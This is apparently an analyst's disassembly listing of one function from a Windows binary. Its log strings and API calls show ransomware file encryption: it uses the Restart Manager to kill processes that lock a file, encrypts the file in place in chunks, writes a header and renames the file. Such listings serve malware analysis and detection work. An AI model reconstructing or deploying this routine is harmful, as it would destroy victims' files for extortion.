Function at 0x4160e0
Capabilities:
Create restart manager session
Enumerate processes that use resource
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x78
push 0xffffffffffffffff
push 0x43d2f7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xf4
push ebx
mov ebx, ecx
mov dword [ebp - 4], 0
mov edx, dword [ebx + 0x10]
lea eax, [ebx + 0x10]
mov dword [ebp + 0xc], eax
mov eax, 0x7ffffffe
push esi
mov esi, dword [0x44facc]
sub eax, edx
mov dword [ebp + 0x24], ebx
push edi
mov dword [ebp - 0x10], esp
cmp eax, esi
jb 0x416d02
cmp dword [ebx + 0x14], 8
lea edi, [ebx + 0x14]
mov dword [ebp + 0x3c], edi
jb 0x416141
mov ecx, dword [ebx]
cmp dword [0x44fad0], 8
mov eax, 0x44fabc
push esi
cmovae eax, dword [0x44fabc]
push eax
push edx
push ecx
push ecx
push dword [ebp + 0xc]
lea ecx, [ebp - 0x60]
call fcn.00408520
mov byte [ebp - 4], 1
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x4c], 8
mov ecx, ebx
cmovae eax, dword [ebp - 0x60]
cmp dword [edi], 8
jb 0x41617c
mov ecx, dword [ebx]
push eax
push ecx
push str.____Encrypt_file:__s_____s_n
call fcn.00401dd0
add esp, 0xc
mov eax, ebx
cmp dword [edi], 8
jb 0x416194
mov eax, dword [ebx]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp + 0x44], eax
cmp eax, 0xffffffff
jne 0x416328
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp dword [edi], 8
mov ecx, ebx
jb 0x4161ca
mov ecx, dword [ebx]
push eax
push ecx
push str.____CreateFile:__s__error:_0x_X_n
call fcn.00401dd0
add esp, 0xc
call esi
cmp eax, 0x20
je 0x4161eb
call esi
cmp eax, 0x21
jne 0x416309
cmp dword [edi], 8
mov eax, ebx
jb 0x4161f4
mov eax, dword [ebx]
mov dword [ebp + 0x4c], eax
xor esi, esi
lea eax, [ebp - 0xc0]
mov dword [ebp + 0x6c], 0xffffffff
push eax
xor edi, edi
lea eax, [ebp + 0x6c]
push esi
push eax
mov dword [ebp + 0x50], edi
mov dword [ebp + 0x58], edi
mov dword [ebp + 0x60], edi
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x4162bc
push eax
push eax
push eax
push eax
lea eax, [ebp + 0x4c]
push eax
push 1
push dword [ebp + 0x6c]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x4162bc
lea eax, [ebp + 0x60]
push eax
push esi
lea eax, [ebp + 0x50]
push eax
lea eax, [ebp + 0x58]
push eax
push dword [ebp + 0x6c]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
je 0x41629c
cmp eax, 0xea
jne 0x4162af
mov eax, dword [ebp + 0x58]
mov dword [ebp + 0x50], eax
test esi, esi
je 0x416277
push esi
call fcn.0041fc10
mov eax, dword [ebp + 0x50]
add esp, 4
xor ecx, ecx
mov edx, 0x29c
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041fc58
mov ecx, edi
add esp, 4
inc edi
mov esi, eax
cmp ecx, 3
jb 0x416240
jmp 0x4162af
cmp dword [ebp + 0x60], 0
jne 0x4162af
push 0
push 0
push dword [ebp + 0x6c]
call dword [sym.imp.RstrtMgr.DLL_RmShutdown]
test esi, esi
je 0x4162bc
push esi
call fcn.0041fc10
add esp, 4
mov eax, dword [ebp + 0x6c]
cmp eax, 0xffffffff
je 0x4162cb
push eax
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [ebp + 0x3c]
mov eax, ebx
cmp dword [edi], 8
jb 0x4162e2
mov eax, dword [ebx]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp + 0x44], eax
cmp eax, 0xffffffff
jne 0x416328
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp dword [edi], 8
mov ecx, ebx
jb 0x416314
mov ecx, dword [ebx]
push eax
push ecx
push str.____CreateFile2:__s__error:_0x_X_n
call fcn.00401dd0
add esp, 0xc
jmp 0x416c37
mov edi, eax
mov dword [ebp - 0x1c], 0
xor al, al
mov dword [ebp + 0x4c], edi
mov byte [ebp + 0x6b], al
mov byte [ebp + 0x77], al
mov byte [ebp + 0x4b], al
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push 0x4563c0
call fcn.0041f81e
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1c]
push 0x4563f4
call fcn.00413270
push 0x456400
lea ecx, [ebp - 0x28]
call fcn.00413270
mov esi, dword [ebp - 0x24]
mov eax, esi
mov dword [ebp + 0x6c], esi
mov esi, dword [ebp - 0x28]
sub eax, esi
mov dword [ebp + 0x50], esi
cmp eax, 0x100
jne 0x4163b3
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
mov byte [ebp + 0x77], 1
cmp eax, 0x28
je 0x4163b7
mov byte [ebp + 0x77], 0
mov dword [ebp - 4], 3
jmp 0x416406
push 0x4563c0
call fcn.0041f83a
add esp, 4
cmp byte [ebp + 0x77], 0
je 0x416bae
cmp dword [0x44f9a0], 0
mov edi, dword [ebx + 0x18]
mov edx, dword [ebx + 0x1c]
mov dword [ebp + 0x70], edi
mov dword [ebp + 0x64], edx
je 0x4164a2
mov ecx, dword [ebp + 0x3c]
mov eax, ebx
cmp dword [ecx], 8
jb 0x41643e
mov eax, dword [ebx]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov esi, dword [0x44fa20]
mov ecx, eax
mov edi, dword [0x44fa24]
mov dword [ebp + 0x4c], ecx
cmp esi, edi
je 0x416480
nop word [eax + eax]
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x41646a
mov eax, dword [esi]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x41649f
mov ecx, dword [ebp + 0x4c]
add esi, 0x18
cmp esi, edi
jne 0x416460
cmp dword [ebx + 0x1c], 0
mov edi, dword [0x44f9a0]
jl 0x41649f
jg 0x416493
cmp dword [ebx + 0x18], edi
jbe 0x41649f
mov dword [ebp + 0x70], edi
mov dword [ebp + 0x64], 0
jmp 0x4164a2
mov edi, dword [ebp + 0x70]
mov ecx, dword [ebp + 0x6c]
xor esi, esi
sub ecx, dword [ebp + 0x50]
mov edx, dword [0x44f9dc]
mov eax, edx
sub eax, dword [0x44f9d8]
mov dword [ebp + 0x6c], ecx
add ecx, 0x14
add eax, ecx
mov dword [ebp - 0x30], esi
xor ecx, ecx
mov dword [ebp + 0x38], eax
mov dword [ebp + 0x40], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp + 0x4c], ecx
mov dword [ebp - 0x2c], ecx
test eax, eax
je 0x416519
cmp eax, 0x7fffffff
ja 0x416d07
push eax
lea ecx, [ebp - 0x34]
call fcn.004094a0
mov ecx, dword [ebp - 0x34]
mov esi, dword [ebp + 0x38]
add esi, ecx
mov dword [ebp + 0x40], ecx
mov eax, esi
sub eax, ecx
push eax
push 0
push ecx
call fcn.004218b0
mov eax, dword [ebp - 0x2c]
add esp, 0xc
mov edx, dword [0x44f9dc]
mov ecx, dword [ebp + 0x40]
mov dword [ebp - 0x30], esi
mov dword [ebp + 0x4c], eax
mov byte [ebp - 4], 6
mov eax, dword [0x44f9d8]
sub edx, eax
push edx
push eax
push ecx
call fcn.00421330
mov eax, dword [0x44f9dc]
push dword [ebp + 0x6c]
sub eax, dword [0x44f9d8]
push dword [ebp + 0x50]
add eax, dword [ebp + 0x40]
push eax
call fcn.00421330
mov eax, dword [0x44f9dc]
add esp, 0x18
sub eax, dword [0x44f9d8]
xorps xmm0, xmm0
add eax, dword [ebp + 0x6c]
mov edx, dword [ebp + 0x40]
mov ecx, dword [ebp + 0x64]
mov dword [eax + edx], edi
mov edi, dword [ebp + 0x6c]
mov dword [eax + edx + 4], ecx
mov ecx, dword [0x44f9dc]
sub ecx, dword [0x44f9d8]
mov eax, dword [0x4563a0]
add ecx, edx
mov dword [ecx + edi + 8], eax
mov edx, dword [0x44f9dc]
sub edx, dword [0x44f9d8]
mov ecx, dword [ebp + 0x40]
mov eax, dword [0x44f9a4]
add ecx, edi
mov dword [ecx + edx + 0xc], eax
mov ecx, dword [0x44f9dc]
sub ecx, dword [0x44f9d8]
mov edx, dword [ebp + 0x40]
add ecx, edi
mov eax, dword [0x4563a8]
sub esi, edx
mov edi, dword [ebp + 0x44]
mov dword [ecx + edx + 0x10], eax
mov eax, dword [ebx + 0x18]
mov dword [ebp - 0x74], eax
mov eax, dword [ebx + 0x1c]
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x2c]
movlpd qword [ebp - 0x7c], xmm0
push eax
push esi
push edx
push edi
mov dword [ebp - 0x6c], 0
mov dword [ebp + 0x2c], 0
mov dword [ebp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x416b13
cmp dword [ebp + 0x2c], esi
jne 0x416b13
mov eax, dword [ebp + 0x64]
mov esi, dword [0x44f9a4]
mov edx, dword [ebp + 0x70]
mov dword [ebp + 0x6c], esi
test eax, eax
jl 0x41661b
jg 0x416620
cmp edx, esi
ja 0x416620
mov esi, edx
mov dword [ebp + 0x6c], edx
cmp dword [0x456394], 1
xorps xmm0, xmm0
movlpd qword [ebp + 0x5c], xmm0
jne 0x41697d
xor ecx, ecx
mov byte [ebp + 0x77], 0
xor ebx, ebx
mov dword [ebp + 0x54], ecx
mov dword [ebp], ecx
mov dword [ebp + 4], ebx
mov dword [ebp + 0x58], ecx
mov dword [ebp + 8], ecx
mov byte [ebp - 4], 7
mov edi, dword [ebp + 0x60]
mov esi, dword [ebp + 0x5c]
movlpd qword [ebp + 0x1c], xmm0
mov ecx, dword [ebp + 0x20]
mov dword [ebp + 0x10], ecx
mov ecx, dword [ebp + 0x1c]
mov dword [ebp + 0x38], ebx
mov dword [ebp + 0x14], ecx
mov dword [ebp + 0x60], esi
nop dword [eax]
cmp esi, edx
jne 0x41667c
cmp edi, eax
je 0x41683a
cmp byte [ebp + 0x77], 0
jne 0x41683a
mov ecx, edx
sub ecx, esi
mov dword [ebp + 0x30], ecx
sbb eax, edi
xor edx, edx
mov dword [ebp + 0x18], edx
cmp edx, eax
mov edx, dword [ebp + 0x6c]
jg 0x4166ab
jl 0x4166a1
cmp edx, ecx
jae 0x4166ab
mov eax, dword [ebp + 0x18]
mov ecx, edx
mov dword [ebp + 0x30], ecx
jmp 0x4166ae
mov dword [ebp + 0x18], eax
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp + 0x44]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp + 0x38]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x9c], eax
lea eax, [ebp + 0x77]
push 0xb0
mov dword [ebp - 0xc4], esi
mov dword [ebp - 0xc0], edi
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x8c], edx
call fcn.0041fc15
add esp, 4
mov dword [ebp + 0x38], eax
lea ecx, [ebp - 0xc4]
mov byte [ebp - 4], 9
push ecx
mov ecx, eax
call fcn.0041bc00
mov esi, eax
mov byte [ebp - 0x3c], 0
mov dword [ebp - 0x40], esi
mov byte [ebp - 0x38], 0
mov byte [ebp - 4], 0xa
test esi, esi
je 0x416d0c
mov byte [ebp - 0x38], 1
mov dword [ebp + 0x1c], esi
mov byte [ebp + 0x20], 1
lock inc dword [esi + 4]
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x41676a
mov ecx, dword [esi + 0x78]
test ecx, ecx
je 0x416762
mov eax, dword [ecx]
push esi
jmp 0x416768
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax]
mov byte [ebp - 4], 0xb
cmp ebx, dword [ebp + 0x58]
je 0x416783
xor ecx, ecx
mov dword [ebx], esi
mov byte [ebx + 4], 1
add ebx, 8
mov dword [ebp + 4], ebx
jmp 0x41679f
lea eax, [ebp + 0x1c]
push eax
push ebx
lea ecx, [ebp]
call fcn.0041aeb0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x1c]
mov dword [ebp + 0x58], eax
mov eax, dword [ebp]
mov dword [ebp + 0x54], eax
mov byte [ebp - 4], 7
test ecx, ecx
je 0x4167c5
or eax, 0xffffffff
lock xadd dword [ecx + 4], eax
jne 0x4167c5
mov edx, dword [ecx + 0x78]
test edx, edx
je 0x4167bf
mov eax, dword [edx]
push ecx
mov ecx, edx
jmp 0x4167c3
mov eax, dword [ecx]
push 1
call dword [eax]
mov ecx, dword [ebp + 0x30]
mov esi, ecx
mov edx, dword [ebp + 0x18]
add esi, dword [ebp + 0x60]
push 0
push 0x40
push edx
push ecx
mov dword [ebp + 0x60], esi
adc edi, edx
call fcn.0043c040
add dword [ebp + 0x14], eax
mov eax, 0x40
mov dword [ebp + 0x38], ebx
adc dword [ebp + 0x10], edx
sub eax, ecx
cmp dword [0x4563a0], 1
mov ebx, dword [ebp + 4]
mov edx, dword [ebp + 0x70]
mov dword [ebp + 0x38], eax
mov eax, dword [ebp + 0x64]
jne 0x416670
mov ecx, dword [ebp + 0x64]
mov eax, edx
mov edx, dword [0x4563a8]
sub eax, esi
sbb ecx, edi
xor ebx, ebx
cmp ebx, ecx
jg 0x416824
jl 0x416828
cmp edx, eax
jb 0x416828
mov edx, eax
mov ebx, ecx
mov eax, dword [ebp + 0x64]
add esi, edx
mov edx, dword [ebp + 0x70]
adc edi, ebx
mov ebx, dword [ebp + 4]
jmp 0x41666a
cmp byte [ebp + 0x77], 0
xorps xmm0, xmm0
movlpd qword [ebp + 0x5c], xmm0
mov edi, dword [ebp + 0x60]
mov esi, dword [ebp + 0x5c]
jne 0x4168fc
xor ecx, ecx
mov edx, dword [ebp + 0x54]
mov eax, ebx
sub eax, edx
mov dword [ebp + 0x30], ecx
sar eax, 3
cmp ecx, eax
jae 0x4168f9
mov ebx, dword [edx + ecx*8]
mov dword [edx + ecx*8], 0
mov dword [ebp + 0x1c], ebx
mov byte [ebp + 0x20], 1
mov byte [ebp - 4], 0xc
test ebx, ebx
je 0x416d0c
cmp byte [ebx + 0x6c], 0
jne 0x416d0c
mov eax, dword [ebx]
mov ecx, ebx
push 1
call dword [eax + 8]
mov edx, dword [eax]
or eax, 0xffffffff
mov dword [ebp + 0x38], edx
mov byte [ebp - 4], 7
lock xadd dword [ebx + 4], eax
jne 0x4168c3
mov ecx, dword [ebx + 0x78]
test ecx, ecx
je 0x4168b8
mov eax, dword [ecx]
push ebx
jmp 0x4168be
mov eax, dword [ebx]
mov ecx, ebx
push 1
call dword [eax]
mov edx, dword [ebp + 0x38]
mov eax, dword [ebp + 0x70]
xor ebx, ebx
mov ecx, dword [ebp + 0x64]
add edx, esi
mov esi, dword [0x4563a8]
adc ebx, edi
sub eax, edx
sbb ecx, ebx
xor edi, edi
cmp edi, ecx
jg 0x4168e5
jl 0x4168e9
cmp esi, eax
jb 0x4168e9
mov esi, eax
mov edi, ecx
mov ecx, dword [ebp + 0x30]
add esi, edx
adc edi, ebx
mov ebx, dword [ebp + 4]
inc ecx
jmp 0x416854
mov edx, dword [ebp + 0x70]
mov ecx, dword [ebp + 0x54]
test ecx, ecx
je 0x416943
mov edx, ebx
mov ebx, ecx
push ecx
call fcn.0041a940
mov ecx, dword [ebp + 0x58]
add esp, 4
sub ecx, ebx
mov eax, ebx
and ecx, 0xfffffff8
cmp ecx, 0x1000
jb 0x416936
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416d16
push ecx
push ebx
call fcn.0041fc4a
mov edx, dword [ebp + 0x70]
add esp, 8
mov ebx, dword [ebp + 0x24]
cmp esi, edx
jne 0x416ae2
cmp edi, dword [ebp + 0x64]
jne 0x416ae2
mov esi, dword [ebp + 0x3c]
mov eax, ebx
cmp dword [esi], 8
jb 0x416963
mov eax, dword [ebx]
push eax
push str.___Encrypted_file:__s_n
call fcn.00401dd0
mov edi, dword [ebp + 0x44]
add esp, 8
mov byte [ebp + 0x6b], 1
jmp 0x416b34
push esi
call fcn.0041fc58
add esp, 4
mov dword [ebp + 0x54], eax
push esi
push 0
push eax
call fcn.004218b0
mov ecx, dword [ebp - 0x1c]
add esp, 0xc
push 0
push 0
lea eax, [ecx + 0x20]
push eax
push ecx
lea ecx, [ebp - 0x100]
call fcn.004140c0
mov edx, dword [ebp + 0x70]
mov ecx, dword [ebp + 0x64]
test edx, edx
jne 0x4169c5
test ecx, ecx
jne 0x4169c5
mov edi, dword [ebp + 0x60]
mov esi, dword [ebp + 0x5c]
jmp 0x416ac6
mov edi, dword [ebp + 0x60]
mov esi, dword [ebp + 0x5c]
nop dword [eax + eax]
mov eax, edx
mov dword [ebp - 0x38], 0
sub eax, esi
mov dword [ebp - 0x40], esi
xorps xmm0, xmm0
mov dword [ebp - 0x3c], edi
sbb ecx, edi
movlpd qword [ebp - 0x48], xmm0
xor edx, edx
mov dword [ebp + 0x58], eax
mov dword [ebp + 0x60], ecx
cmp edx, ecx
jg 0x416a07
jl 0x4169fe
cmp dword [ebp + 0x6c], eax
jae 0x416a07
mov eax, dword [ebp + 0x6c]
mov dword [ebp + 0x58], eax
mov dword [ebp + 0x60], edx
lea ecx, [ebp - 0x48]
push ecx
lea ecx, [ebp + 0x28]
push ecx
push eax
push dword [ebp + 0x54]
push dword [ebp + 0x44]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x416ac3
mov eax, dword [ebp + 0x28]
xor ecx, ecx
cmp eax, dword [ebp + 0x58]
jne 0x416ac3
cmp ecx, dword [ebp + 0x60]
jne 0x416ac3
push eax
push dword [ebp + 0x54]
lea ecx, [ebp - 0x100]
call fcn.00414100
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp + 0x2c]
push eax
push dword [ebp + 0x28]
push dword [ebp + 0x54]
push dword [ebp + 0x44]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x416ac3
mov eax, dword [ebp + 0x2c]
cmp eax, dword [ebp + 0x28]
jne 0x416ac3
add esi, dword [ebp + 0x58]
adc edi, dword [ebp + 0x60]
cmp dword [0x4563a0], 1
jne 0x416aab
mov eax, dword [ebp + 0x70]
mov ecx, dword [ebp + 0x64]
sub eax, esi
mov edx, dword [0x4563a8]
sbb ecx, edi
mov dword [ebp + 0x38], 0
cmp dword [ebp + 0x38], ecx
jg 0x416aa3
jl 0x416a9e
cmp edx, eax
jae 0x416aa3
mov eax, dword [ebp + 0x38]
jmp 0x416aa7
mov edx, eax
mov eax, ecx
add esi, edx
adc edi, eax
mov edx, dword [ebp + 0x70]
mov ecx, dword [ebp + 0x64]
cmp esi, edx
jne 0x4169d0
cmp edi, ecx
jne 0x4169d0
jmp 0x416ac6
mov edx, dword [ebp + 0x70]
mov eax, dword [ebp + 0x54]
test eax, eax
je 0x416946
push eax
call fcn.0041fc10
mov edx, dword [ebp + 0x70]
add esp, 4
jmp 0x416946
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp + 0x3c]
mov ecx, ebx
cmp dword [edx], 8
jb 0x416af4
mov ecx, dword [ebx]
push dword [ebp + 0x64]
push dword [ebp + 0x70]
push edi
push esi
push eax
push ecx
push str.____File_not_encrypted:__s__error:_0x_X___lld____lld_n
call fcn.00401dd0
mov edi, dword [ebp + 0x44]
add esp, 0x1c
mov esi, dword [ebp + 0x3c]
jmp 0x416b34
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [ebp + 0x3c]
mov ecx, ebx
cmp dword [esi], 8
jb 0x416b25
mov ecx, dword [ebx]
push eax
push ecx
push str.____WriteFile:__s__error:_0x_X_n
call fcn.00401dd0
add esp, 0xc
mov ecx, dword [ebp + 0x40]
test ecx, ecx
je 0x416b68
mov edx, dword [ebp + 0x4c]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x416b5e
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416d1b
push edx
push ecx
call fcn.0041fc4a
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp + 0x6b], 0
je 0x416bcf
cmp dword [ebp - 0x4c], 8
lea eax, [ebp - 0x60]
mov ecx, ebx
cmovae eax, dword [ebp - 0x60]
cmp dword [esi], 8
jb 0x416b89
mov ecx, dword [ebx]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x416bcf
cmp dword [esi], 8
mov eax, ebx
jb 0x416b9e
mov eax, dword [ebx]
push eax
push str.____Encrypted_file_not_moved:__s_n
call fcn.00401dd0
add esp, 8
jmp 0x416bcf
mov ecx, dword [ebp + 0x3c]
mov eax, ebx
cmp dword [ecx], 8
jb 0x416bba
mov eax, dword [ebx]
push eax
push str.____Can_t_run_encryption:__s_n
call fcn.00401dd0
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + 0x50]
test edx, edx
je 0x416c03
mov ecx, dword [ebp - 0x20]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x416bf9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416d20
push ecx
push edx
call fcn.0041fc4a
add esp, 8
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x416c37
mov edx, dword [ebp - 0x14]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x416c2d
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416d20
push edx
push ecx
call fcn.0041fc4a
add esp, 8
mov ecx, dword [ebp - 0x4c]
cmp ecx, 8
jb 0x416c97
mov edx, dword [ebp - 0x60]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x416c67
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416d25
push ecx
push edx
call fcn.0041fc4a
add esp, 8
jmp 0x416c97
test ebx, ebx
je 0x416cf0
mov ecx, dword [ebx + 0x14]
cmp ecx, 8
jb 0x416cd0
mov eax, dword [ebx]
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x416cc6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416d16
mov eax, edx
push ecx
push eax
call fcn.0041fc4a
add esp, 8
mov eax, dword [ebp + 0xc]
push 0x20
push ebx
mov dword [ebx + 0x14], 7
mov dword [eax], 0
xor eax, eax
mov word [ebx], ax
call fcn.0041fc4a
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
lea esp, [ebp + 0x78]
pop ebp
ret
call fcn.00401760
call fcn.00405aa0
mov ecx, 4
call fcn.00415ac0
call fcn.0042c24f
call fcn.0042c24f
call fcn.0042c24f
call fcn.0042c24f
int3